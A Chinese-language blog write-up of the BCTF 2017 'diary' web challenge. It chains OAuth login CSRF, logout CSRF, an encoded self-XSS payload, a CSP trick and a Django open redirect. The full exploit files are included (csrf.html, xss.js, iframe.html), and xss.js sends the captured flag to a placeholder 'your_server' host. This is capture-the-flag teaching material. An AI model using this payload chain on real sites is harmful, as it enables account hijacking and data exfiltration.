cdxy.me
Footprints on Cyber Security and Python

功能点

/login /logout

登入登出功能使用GET请求,存在CSRF。

登录处使用了OAuth

Server (auth.bctf.xctf.org.cn)
Client (diary.bctf.xctf.org.cn)

callback接口

/o/receive_authcode?state=preauth&code=RWgXo94zuNhTPLgik8KN0Rz1iL7czb

state值是固定值(可预测)使该OAuth接口存在CSRF,一般会形成绑定劫持。

/about

页面底部观察到一些信息:

© 2016-2017 | @firesun | BCTF 2017 | Powered by Django 1.10.6

如果是框架特性的话只给出Django就行了,这里版本写的这么详细,可能有两个意思:

  1. 最新版本,没有漏洞。
  2. 请利用该版本存在的漏洞。

查了一下最新版本是1.10.7和1.11,所以作者的意图可能是后者,想起前两天刚爆出的两个URL跳转。

/diary

/diary/页面有个富文本编辑器,可构造一个self-XSS。

" onerror="with(document)body.appendChild(createElement('script')).src='http://your_site/xss.js'

# html-10 encode
&#34&#32&#111&#110&#101&#114&#114&#111&#114&#61&#34&#119&#105&#116&#104&#40&#100&#111&#99&#117&#109&#101&#110&#116&#41&#98&#111&#100&#121&#46&#97&#112&#112&#101&#110&#100&#67&#104&#105&#108&#100&#40&#99&#114&#101&#97&#116&#101&#69&#108&#101&#109&#101&#110&#116&#40&#39&#115&#99&#114&#105&#112&#116&#39&#41&#41&#46&#115&#114&#99&#61&#39&#104&#116&#116&#112&#58&#47&#47&#121&#111&#117&#114&#95&#115&#105&#116&#101&#47&#120&#115&#115&#46&#106&#115&#39

/survey

/survey/有一个表单,提交之后给出提示:“管理员身份提交此表单方可得到flag”。这个版本修复了畸形cookie解析漏洞,绕csrftoken的方法剩下XSS或CRLF。

/report_bugs

/report_bugs/ 提交的URL会被admin访问,出题人给我们触发CSRF或者XSS用的。

攻击流程

初期在文档中记录了以下思路:

流程:
1.让admin登出(这一步是GET,可以CSRF)
2. (CSRF)让admin以GET方式访问/o/receive_authcode?state=preauth&code=RWgXo94zuNhTPLgik8KN0Rz1iL7czb
这里code对应的是我们自己的账号
3. admin以我们的账号登录
4. 让其访问diary触发XSS
5. XSS修改cookie中的csrftoken绕过CSRF filter (修改成什么值还要研究下)
6. CSRF提交表单拿到flag

然后 @lynahex 找到了这题的原型:

更新了一个重要的点:利用CSP拦截跳转,使我们的CSRF脚本只让用户退出client端的session,不退出oauth-server端的session,这样就保留了admin的身份。

然后做出exp

csrf.html (提交给admin的访问入口)

<meta http-equiv="Content-Security-Policy" content="img-src http://diary.bctf.xctf.org.cn">
<img src="http://diary.bctf.xctf.org.cn/accounts/logout/" onerror="login();">

<script>
    //这步是为了带上新的sessionid
    var login = function() {
        var loginImg = document.createElement('img');
        loginImg.src = 'http://diary.bctf.xctf.org.cn/accounts/login/';
        loginImg.onerror = redir;
    }
    //Redirect them to login with our code
    var redir = function() {
        //Get the code from the URL to make it easy for testing
        var code = 'WWDweGu2WwVDQdIvTgU2nWO9lG6mNr';
        var loginImg2 = document.createElement('img');
        loginImg2.src = 'http://diary.bctf.xctf.org.cn/o/receive_authcode?state=preauth&code=' + code;
        loginImg2.onerror = function() {
            //Redirect to the profile page with the payload
            window.location = 'http://diary.bctf.xctf.org.cn/diary/';
        }
    }
</script>

xss.js (self-xss引入的外域js)

var loginIframe = document.createElement('iframe');
loginIframe.setAttribute('src', 'http://your_server/iframe.html');
document.body.appendChild(loginIframe);

setTimeout(function() {
    var profileIframe = document.createElement('iframe');
    profileIframe.setAttribute('src', 'http://diary.bctf.xctf.org.cn/survey/');
    profileIframe.setAttribute('id', 'pi');
    document.body.appendChild(profileIframe);

    profileIframe.onload = function() {
        var w = document.getElementById('pi').contentWindow;
        w.document.getElementById('suggestion').innerHTML='hahaha';
        w.document.getElementsByTagName('form')[0].submit();
        w.document.createElement('img').src="http://your_server/?flag="+w.document.getElementsByTagName("h3")[0].innerHTML;
    }
}, 9000);

iframe.html (xss.js导入的iframe,让用户再次切换到admin身份)

<meta http-equiv="Content-Security-Policy" content="img-src http://diary.bctf.xctf.org.cn">
<!-- Log the user out of our partner account -->
<img src="http://diary.bctf.xctf.org.cn/accounts/logout/" onerror="redir();">
<script>
    //Log them into partners via their session on login.uber.com
    var redir = function() {
        window.location = 'http://diary.bctf.xctf.org.cn/accounts/login/';
    };
</script>

本地两个账号测试通过,提交CSRF地址让它访问时,发现服务器只接收本域的链接。

在测试常规绕过方式时,@louys 已经发现了跳转,利用之前提到的Django跳转漏洞。

http://diary.bctf.xctf.org.cn/static/%5C%5Cwww.louys.net.cn

绕过URL限制后,提交CSRF地址,拿到flag。

flag.png

关于CSRF的触发方式

本文中用到的CSRF触发方式如果放到我们的公网服务器会受到X-Frame-Options: SAMEORIGIN保护,浏览器将拒绝加载iframe。

<iframe id="if" src=http://localhost onload=p()></iframe>
<script>
    function p() {
        var d = document.getElementById('if').contentWindow.document;
        d.getElementsByTagName('form')[0].submit();
    }
</script>

而题中我们利用XSS在/diary页面注入的这个iframe,属于同域。

也就是说这根本不是CSRF的防御范围,再次修改Cookie绕过Django的CSRF策略属于多此一举。